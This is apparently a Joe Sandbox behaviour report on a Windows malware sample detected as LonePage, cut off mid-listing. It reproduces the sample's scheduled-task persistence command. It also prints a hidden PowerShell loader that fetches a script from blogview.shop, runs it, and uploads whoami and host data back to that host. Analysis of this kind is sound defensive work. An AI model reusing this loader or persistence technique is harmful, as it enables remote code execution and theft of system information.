Commandline:	"C:\Windows\system32\schtasks.exe" /create /TN ExplorerCoreUpdateTaskMachine /SC minute /mo 3 /tr C:\Users\Public\Libraries\Libraries.vbs /f
Imagebase:	0x380000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	07:49:04
Start date:	26/10/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\Public\Libraries\Libraries.vbs"
Imagebase:	0x7ff6b03d0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_LonePage, Description: Yara detected LonePage, Source: 0000000E.00000002.2254854523.0000019DE464C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_LonePage, Description: Yara detected LonePage, Source: 0000000E.00000002.2265090368.0000019DE47B5000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_LonePage, Description: Yara detected LonePage, Source: 0000000E.00000002.2254854523.0000019DE45FF000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_LonePage, Description: Yara detected LonePage, Source: 0000000E.00000002.2254854523.0000019DE4606000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	07:49:07
Start date:	26/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -w hidden -noprofile -c start-sleep 39;start-sleep (get-random -min 5 -max 43);start-sleep 11;$iik=new-object net.webclient;$rc = -join ((48..57) \| get-random -count( get-random -min 5 -max 15) \| foreach-object { [char]$_}) + '.txt';$flm=$iik.downloaddata('https://blogview.shop/api/values/38303529143438199171/refresh199/'+$rc);if($flm.Length -gt 1){$jkr=[system.text.encoding]::utf8.getString($flm);if($jkr -match 'get-content'){[byte[]] $drpy=IEX $jkr;}else{$bjdo=whoami;$bjdo+='==';$bjdo+=[System.Net.Dns]::GetHostAddresses($ip)+[System.Environment]::NewLine;$hbn=IEX $jkr;$bjdo+=$hbn\|Out-string;[byte[]]$drpy=[system.text.encoding]::Utf8.GetBytes($bjdo);};start-sleep 10;$ujk=new-object net.webclient;start-sleep 16;$ujk.uploaddata('https://blogview.shop/api/values/refresh199',$drpy);}
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_LonePage, Description: Yara detected LonePage, Source: 0000000F.00000002.2934104900.00000289CCD70000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_LonePage, Description: Yara detected LonePage, Source: 0000000F.00000002.2879110154.00000289B2880000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_LonePage, Description: Yara detected LonePage, Source: 0000000F.00000002.2882000495.00000289B4631000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_LonePage, Description: Yara detected LonePage, Source: 0000000F.00000002.2882000495.00000289B5CFD000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	07:49:08
Start date:	26/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	07:52:01
Start date:	26/10/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\Public\Libraries\Libraries.vbs"
Imagebase:	0x7ff6b03d0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_LonePage, Description: Yara detected LonePage, Source: 00000013.00000002.3993054312.00000255DA205000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_LonePage, Description: Yara detected LonePage, Source: 00000013.00000002.3993054312.00000255DA190000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_LonePage, Description: Yara detected LonePage, Source: 00000013.00000002.3993054312.00000255DA1C6000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_LonePage, Description: Yara detected LonePage, Source: 00000013.00000002.3992915793.00000255DA145000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Analysis Process: powershell.exePID: 6824, Parent PID: 764

General

Target ID:	20
Start time:	07:52:02
Start date:	26/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -w hidden -noprofile -c start-sleep 39;start-sleep (get-random -min 5 -max 43);start-sleep 11;$iik=new-object net.webclient;$rc = -join ((48..57) \| get-random -count( get-random -min 5 -max 15) \| foreach-object { [char]$_}) + '.txt';$flm=$iik.downloaddata('https://blogview.shop/api/values/38303529143438199171/refresh199/'+$rc);if($flm.Length -gt 1){$jkr=[system.text.encoding]::utf8.getString($flm);if($jkr -match 'get-content'){[byte[]] $drpy=IEX $jkr;}else{$bjdo=whoami;$bjdo+='==';$bjdo+=[System.Net.Dns]::GetHostAddresses($ip)+[System.Environment]::NewLine;$hbn=IEX $jkr;$bjdo+=$hbn\|Out-string;[byte[]]$drpy=[system.text.encoding]::Utf8.GetBytes($bjdo);};start-sleep 10;$ujk=new-object net.webclient;start-sleep 16;$ujk.uploaddata('https://blogview.shop/api/values/refresh199',$drpy);}
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_LonePage, Description: Yara detected LonePage, Source: 00000014.00000002.3996126247.00000233ADBE0000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Analysis Process: conhost.exePID: 4788, Parent PID: 6824

General

Target ID:	21
Start time:	07:52:02
Start date:	26/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	22.6%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	5.3%
Total number of Nodes:	76
Total number of Limit Nodes:	4

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00C9B1D6 Relevance: 1.5, APIs: 1, Instructions: 39COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNELBASE(?), ref: 00C9B208

Memory Dump Source

Source File: 00000003.00000002.2259196889.0000000000C9A000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C9A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_c9a000_unarchiver.jbxd

Similarity

API ID: InfoSystem
String ID:
API String ID: 31276548-0
Opcode ID: d28a95932fd1fc9899e31f380f31fd4f58fae862bd3c78568034c1be1f915af8
Instruction ID: 72f8fb22403d63976149321c6660deabda2711a62b2ab562dce452d4a87fe7d2
Opcode Fuzzy Hash: d28a95932fd1fc9899e31f380f31fd4f58fae862bd3c78568034c1be1f915af8
Instruction Fuzzy Hash: C301D174904640AFDB10CF65E98976AFBE4EF05720F08C4AADD098F656D379A904CFA2

Function 00C9B246 Relevance: 1.6, APIs: 1, Instructions: 101
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,00000E24), ref: 00C9B2F3

Memory Dump Source

Source File: 00000003.00000002.2259196889.0000000000C9A000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C9A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_c9a000_unarchiver.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: ffb8a4d08b03d5af809631f75aa13cca153cd5a262bc115926dfea6cf738f8f1
Instruction ID: 7048ed2b4c4094c364d96e159c03771231534496fc561710dea54f46e4d971d4
Opcode Fuzzy Hash: ffb8a4d08b03d5af809631f75aa13cca153cd5a262bc115926dfea6cf738f8f1
Instruction Fuzzy Hash: 8E319271404344AFEB228B61DC45FA7BFBCEF06314F04899AF985CB162D365A909DB71

Function 00C9AD04 Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,00000E24), ref: 00C9ADA7

Memory Dump Source

Source File: 00000003.00000002.2259196889.0000000000C9A000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C9A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_c9a000_unarchiver.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: f315c709e66b55de6f1e26b183ee377fa77d07801530aaa34a4831eb9174c1bb
Instruction ID: 0542f7c9f69ab3aeb8122cbaba04bbf8c964069a3ebb60b27d8c902eeab87b18
Opcode Fuzzy Hash: f315c709e66b55de6f1e26b183ee377fa77d07801530aaa34a4831eb9174c1bb
Instruction Fuzzy Hash: B731A172404384AFEB228B61DC45FA7BFACEF05314F04489AF985DB152D324A919CBA1

Function 00C9AB76 Relevance: 1.6, APIs: 1, Instructions: 93
pipeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreatePipe.KERNELBASE(?,00000E24,?,?), ref: 00C9AC36

Memory Dump Source

Source File: 00000003.00000002.2259196889.0000000000C9A000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C9A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_c9a000_unarchiver.jbxd

Similarity

API ID: CreatePipe
String ID:
API String ID: 2719314638-0
Opcode ID: 271555a055d9a9dc78b6aaa1899b287af2f516c9947ae11204a93b2f7e3af4a1
Instruction ID: a190368ebe0f3add5bd0917b2831a82ad1fae6f15e309c4cee60d850a94166be
Opcode Fuzzy Hash: 271555a055d9a9dc78b6aaa1899b287af2f516c9947ae11204a93b2f7e3af4a1
Instruction Fuzzy Hash: 0D316D7250E3C06FD3038B718C65A66BFB4EF47610F1A84CBD884DF1A3D269A919C762

Function 00C9A5DC Relevance: 1.6, APIs: 1, Instructions: 90
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(?,?,?,?,?,?), ref: 00C9A67D

Memory Dump Source

Source File: 00000003.00000002.2259196889.0000000000C9A000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C9A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_c9a000_unarchiver.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 0dcd13e045b3c9e09d8ca580f97e050c1b777bf8f4b448e6f596302642793ac3
Instruction ID: ba7c93bdfee49f8bf7f91d3981218d72c0c35f13b799998d5ff24856d8b56a07
Opcode Fuzzy Hash: 0dcd13e045b3c9e09d8ca580f97e050c1b777bf8f4b448e6f596302642793ac3
Instruction Fuzzy Hash: 9D318D71505340AFE721CB25DD48F62BBE8EF05220F08849AF9858B252D365E909CB72

Function 00C9A120 Relevance: 1.6, APIs: 1, Instructions: 85
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindNextFileW.KERNELBASE(?,00000E24,?,?), ref: 00C9A1C2

Memory Dump Source

Source File: 00000003.00000002.2259196889.0000000000C9A000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C9A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_c9a000_unarchiver.jbxd

Similarity

API ID: FileFindNext
String ID:
API String ID: 2029273394-0
Opcode ID: 347cc18e8cb45d7106cc30e8b8858bec26af9180b90c1b7b3acde6a75739129e
Instruction ID: d2033d536c56bef30b57344d26a8565c0a6d7bda468a74bad570ec45c5a10054
Opcode Fuzzy Hash: 347cc18e8cb45d7106cc30e8b8858bec26af9180b90c1b7b3acde6a75739129e
Instruction Fuzzy Hash: EC31D37150D3C06FD3128B318C55BA6BFB4EF47610F1981DBEC848F293D229A90AC7A2

Function 00C9A370 Relevance: 1.6, APIs: 1, Instructions: 80
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryValueExW.KERNELBASE(?,00000E24,93DCC2D8,00000000,00000000,00000000,00000000), ref: 00C9A40C

Memory Dump Source

Source File: 00000003.00000002.2259196889.0000000000C9A000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C9A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_c9a000_unarchiver.jbxd

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: 2b62091b2f3db074d6014d8751a290c0b02b1da576ada099596746c8e07bd5dd
Instruction ID: 58fa7216d4ac7b8e06570c9b820f95a4264853719bc172ae4ed946c094f11227
Opcode Fuzzy Hash: 2b62091b2f3db074d6014d8751a290c0b02b1da576ada099596746c8e07bd5dd
Instruction Fuzzy Hash: 7A216075505744AFD721CF11DC88F96BBF8EF05710F08849AE985CB162D364E949CBA2

Function 00C9B276 Relevance: 1.6, APIs: 1, Instructions: 80
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,00000E24), ref: 00C9B2F3

Memory Dump Source

Source File: 00000003.00000002.2259196889.0000000000C9A000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C9A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_c9a000_unarchiver.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 24bd4bc32004b1d58b343036ae4698a45d610ec50d92a9fa7c0472b4aa6d455a
Instruction ID: c8038008c0a7419c860e999b75b43dba8b79b37faf1d772c0f8a0835b296cd16
Opcode Fuzzy Hash: 24bd4bc32004b1d58b343036ae4698a45d610ec50d92a9fa7c0472b4aa6d455a
Instruction Fuzzy Hash: D521C172500604AFEB21CF61DD49FABFBECEF04314F04896AFA458B151D774E9088BA1

Function 00C9A50F Relevance: 1.6, APIs: 1, Instructions: 80
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTempPathW.KERNELBASE(?,00000E24,?,?), ref: 00C9A5B6

Memory Dump Source

Source File: 00000003.00000002.2259196889.0000000000C9A000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C9A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_c9a000_unarchiver.jbxd

Similarity

API ID: PathTemp
String ID:
API String ID: 2920410445-0
Opcode ID: 0b179802c4ef7b1e30060e9a1b506941a46603a920c5b9bd314afd4b90ea3078
Instruction ID: 520ecadbf9f407c9cb57a0ce9c8178cfba6973e1c3e87d92a29a4d895921adc4
Opcode Fuzzy Hash: 0b179802c4ef7b1e30060e9a1b506941a46603a920c5b9bd314afd4b90ea3078
Instruction Fuzzy Hash: 6D21B5B540D3C06FD3138B25CC51B62BFB8EF87614F0A81DBE8848B593D624A919C7B2

Function 00C9AD2A Relevance: 1.6, APIs: 1, Instructions: 80
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,00000E24), ref: 00C9ADA7

Memory Dump Source

Source File: 00000003.00000002.2259196889.0000000000C9A000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C9A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_c9a000_unarchiver.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: ac7192067712ff38eb587c83c4807af64fc547a492e7b452cb26b27df37d81e6
Instruction ID: 68a92be3e5c67bbf434b3ab701cf357880c6dcc9c170d4aa2f98c7ff3ee698dc
Opcode Fuzzy Hash: ac7192067712ff38eb587c83c4807af64fc547a492e7b452cb26b27df37d81e6
Instruction Fuzzy Hash: 8621C472500204AFEB218F61DD49F6BFBECEF04714F04886AFA459B551D734E544CBA2

Function 00C9A850 Relevance: 1.6, APIs: 1, Instructions: 78
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetFilePointer.KERNELBASE(?,00000E24,93DCC2D8,00000000,00000000,00000000,00000000), ref: 00C9A8DE

Memory Dump Source

Source File: 00000003.00000002.2259196889.0000000000C9A000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C9A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_c9a000_unarchiver.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 6a595516e5fa4f102fb4b82f3800613c6dd94c5b18558749aae95abb3df08c8d
Instruction ID: a38c5bae138e4e6d7c5b7c0f7c0ee3321efe795f26ba61e98925262b4d352c5b
Opcode Fuzzy Hash: 6a595516e5fa4f102fb4b82f3800613c6dd94c5b18558749aae95abb3df08c8d
Instruction Fuzzy Hash: 2721A7714093806FEB128B60DC44F66BFB8EF46714F0984DAF9858B153D265A909C7B2

Function 00C9A933 Relevance: 1.6, APIs: 1, Instructions: 77
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadFile.KERNELBASE(?,00000E24,93DCC2D8,00000000,00000000,00000000,00000000), ref: 00C9A9C1

Memory Dump Source

Source File: 00000003.00000002.2259196889.0000000000C9A000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C9A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_c9a000_unarchiver.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: f0b896b35baa5412fe101a1ce0685002844a473f62d2c7bd6c8030491008f836
Instruction ID: 94d6f4ed046ee2927067fb57e044236837f951810a3c6e40f3eb4cd3fd46ab0c
Opcode Fuzzy Hash: f0b896b35baa5412fe101a1ce0685002844a473f62d2c7bd6c8030491008f836
Instruction Fuzzy Hash: B921A171409380AFDB22CF61DC45F96BFB8EF06314F08849AE9858B162C375A548CBB2

Function 00C9A5FE Relevance: 1.6, APIs: 1, Instructions: 76
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(?,?,?,?,?,?), ref: 00C9A67D

Memory Dump Source

Source File: 00000003.00000002.2259196889.0000000000C9A000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C9A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_c9a000_unarchiver.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: ff933a190be9bb02c7182f4bd633753ebf90bdd0e0f86a23b41cd38ec188890e
Instruction ID: 7fbee53e51b9e57484ffef8617bb855d88d3dd2eef1f60c65cd7b4e7e14e9c12
Opcode Fuzzy Hash: ff933a190be9bb02c7182f4bd633753ebf90bdd0e0f86a23b41cd38ec188890e
Instruction Fuzzy Hash: 8E219071500200AFEB21CF65DD49F66FBE8EF08714F088869FA458B252D375E908CBA6

Function 00C9A78F Relevance: 1.6, APIs: 1, Instructions: 73
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileType.KERNELBASE(?,00000E24,93DCC2D8,00000000,00000000,00000000,00000000), ref: 00C9A815

Memory Dump Source

Source File: 00000003.00000002.2259196889.0000000000C9A000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C9A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_c9a000_unarchiver.jbxd

Similarity

API ID: FileType
String ID:
API String ID: 3081899298-0
Opcode ID: 03cf6fe0338b6a8dcd5febbccf9df633b318acd54bd11a07b8b7ff3d239a1514
Instruction ID: 95fdfdeb42d23f53b953e767ee986a24967f5e796d1734efcd7600aaaf4a54eb
Opcode Fuzzy Hash: 03cf6fe0338b6a8dcd5febbccf9df633b318acd54bd11a07b8b7ff3d239a1514
Instruction Fuzzy Hash: 4E21A5B54097806FE7128B21DC45BA6BFB8DF47714F0880DAF9858B193D268A909C7B6

Function 00C9AA0B Relevance: 1.6, APIs: 1, Instructions: 70
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateDirectoryW.KERNELBASE(?,?), ref: 00C9AA8B

Memory Dump Source

Source File: 00000003.00000002.2259196889.0000000000C9A000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C9A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_c9a000_unarchiver.jbxd

Similarity

API ID: CreateDirectory
String ID:
API String ID: 4241100979-0
Opcode ID: fc054d9fa00e87228124a1f73675ff0eccfb1923e9831e79ba837852600af701
Instruction ID: cc3d8d951c95443df3364c611a7b2cc8b8cadd5fc5c6c7021d97317ebcf05fec
Opcode Fuzzy Hash: fc054d9fa00e87228124a1f73675ff0eccfb1923e9831e79ba837852600af701
Instruction Fuzzy Hash: A921AF755083C05FDB12CB29DC59B92BFE8EF06314F0984EAE884CB163D224D909CB62

Function 00C9A392 Relevance: 1.6, APIs: 1, Instructions: 69
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryValueExW.KERNELBASE(?,00000E24,93DCC2D8,00000000,00000000,00000000,00000000), ref: 00C9A40C

Memory Dump Source

Source File: 00000003.00000002.2259196889.0000000000C9A000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C9A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_c9a000_unarchiver.jbxd

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: 2b5f97443a8b8af1dc7821a7dadf3f72d6bbc72cc6d353fcfaf169cf244945b5
Instruction ID: 01ebb282c0ebc4ed01e954cdfcbc5fa723aa4c1e59149d7e8c745a721c006fd5
Opcode Fuzzy Hash: 2b5f97443a8b8af1dc7821a7dadf3f72d6bbc72cc6d353fcfaf169cf244945b5
Instruction Fuzzy Hash: D821A275500604AFEB20CF25DC89F67F7ECEF04710F14845AEA46CB252D764EA49CAB2

Function 00C9A962 Relevance: 1.6, APIs: 1, Instructions: 60fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(?,00000E24,93DCC2D8,00000000,00000000,00000000,00000000), ref: 00C9A9C1

Memory Dump Source

Source File: 00000003.00000002.2259196889.0000000000C9A000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C9A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_c9a000_unarchiver.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 480be742457045e3bd813a9bd7fec95291afcab84c53484bbd18ffa6f533b496
Instruction ID: a48d5aad96895ad6a25a09b80a0304ae72c7ba32e75bcfefc472b038ae1b3171
Opcode Fuzzy Hash: 480be742457045e3bd813a9bd7fec95291afcab84c53484bbd18ffa6f533b496
Instruction Fuzzy Hash: 6111C471500200AFEB21CF61DD49F6AFBE8EF04724F04845AEA458B151D375A544CBB2

Function 00C9A882 Relevance: 1.6, APIs: 1, Instructions: 59COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(?,00000E24,93DCC2D8,00000000,00000000,00000000,00000000), ref: 00C9A8DE

Memory Dump Source

Source File: 00000003.00000002.2259196889.0000000000C9A000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C9A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_c9a000_unarchiver.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: cafbaf9b6c0d702cfcda474e99cd499e66f33e4ff2025a86ec95dc465fc8434a
Instruction ID: cf9b16a8238966a90b75b28ea75ab230951bc701d466070191975813d32bf67d
Opcode Fuzzy Hash: cafbaf9b6c0d702cfcda474e99cd499e66f33e4ff2025a86ec95dc465fc8434a
Instruction Fuzzy Hash: 6C110671500200AFEB21CF65DC49F66FBE8EF44724F14845AEE498B241D374A505CBF6

Function 00C9A2AE Relevance: 1.6, APIs: 1, Instructions: 53COMMON

Download Yara Rule

APIs

SetErrorMode.KERNELBASE(?), ref: 00C9A30C

Memory Dump Source

Source File: 00000003.00000002.2259196889.0000000000C9A000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C9A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_c9a000_unarchiver.jbxd

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 15040a984cf552e83126c3b4b9d3bb9316bda939c22b9d9c97af8e35bddf3ed0
Instruction ID: 0b8fad600bc425e06176caba9e31443bfd39eea260bc0d690da8ca3a9adff4d8
Opcode Fuzzy Hash: 15040a984cf552e83126c3b4b9d3bb9316bda939c22b9d9c97af8e35bddf3ed0
Instruction Fuzzy Hash: 721173754097C09FDB228B25DC58A52BFB4EF17220F0980DBDD858F163D275A949CB72

Function 00C9A7C2 Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

GetFileType.KERNELBASE(?,00000E24,93DCC2D8,00000000,00000000,00000000,00000000), ref: 00C9A815

Memory Dump Source

Source File: 00000003.00000002.2259196889.0000000000C9A000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C9A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_c9a000_unarchiver.jbxd

Similarity

API ID: FileType
String ID:
API String ID: 3081899298-0
Opcode ID: b00e03fc69fc919299be90242763e9756252b89fb0838e2751cc4f04697f7ba7
Instruction ID: 2a8d1018b862efb87792e7fdfd1ea0d887e88f5eea6c2b63103e877f2e35d823
Opcode Fuzzy Hash: b00e03fc69fc919299be90242763e9756252b89fb0838e2751cc4f04697f7ba7
Instruction Fuzzy Hash: E801F975500240AEEB20CB12DC49BA6FBE8DF04724F14C056EE458B282D378A945CAFA

Function 00C9AA46 Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNELBASE(?,?), ref: 00C9AA8B

Memory Dump Source

Source File: 00000003.00000002.2259196889.0000000000C9A000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C9A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_c9a000_unarchiver.jbxd

Similarity

API ID: CreateDirectory
String ID:
API String ID: 4241100979-0
Opcode ID: d93642cf0db31d3970fd623331dc5f04c06ec506e8f4cb5887e0bb97afdc9c10
Instruction ID: bb165f2ba7d137782db3775c32a9ec49b52eef1bbd7e828a1f2b6995e00a2903
Opcode Fuzzy Hash: d93642cf0db31d3970fd623331dc5f04c06ec506e8f4cb5887e0bb97afdc9c10
Instruction Fuzzy Hash: F811A5716002409FDB10CF65D989756FBE8EF05710F08C4AADD09CB251E734E904DFA2

Function 00C9AF8B Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

FindClose.KERNELBASE(?), ref: 00C9AFE4

Memory Dump Source

Source File: 00000003.00000002.2259196889.0000000000C9A000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C9A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_c9a000_unarchiver.jbxd

Similarity

API ID: CloseFind
String ID:
API String ID: 1863332320-0
Opcode ID: 7ec1db27c5e597645ddf9c0c271742dbedff4db9d5693dfab5e1a61d2f716c80
Instruction ID: 3141fbb65f8a434f0cdc66c29cc3da6623a6957f244f2616101dc475ae9e6c6e
Opcode Fuzzy Hash: 7ec1db27c5e597645ddf9c0c271742dbedff4db9d5693dfab5e1a61d2f716c80
Instruction Fuzzy Hash: 1211A3755093C09FDB128B25DC45A52FFF4EF06220F0984DADD858B263D374A918DB61

Function 00C9B1B4 Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNELBASE(?), ref: 00C9B208

Memory Dump Source

Source File: 00000003.00000002.2259196889.0000000000C9A000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C9A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_c9a000_unarchiver.jbxd

Similarity

API ID: InfoSystem
String ID:
API String ID: 31276548-0
Opcode ID: 51da555aa2ef44c1e00d3e898093aaf2f9c28000db4ed80312e39c0aa46faf58
Instruction ID: 037f25b3ee746e23695e18f37bcf0c83374c44d7bfd51425b7917ad03019b8b8
Opcode Fuzzy Hash: 51da555aa2ef44c1e00d3e898093aaf2f9c28000db4ed80312e39c0aa46faf58
Instruction Fuzzy Hash: D1115A75409380AFDB128F25DD98B56BFA4DF56220F0884EAED858F252D275A908CB62

Function 00C9ABE6 Relevance: 1.5, APIs: 1, Instructions: 47pipeCOMMON

Download Yara Rule

APIs

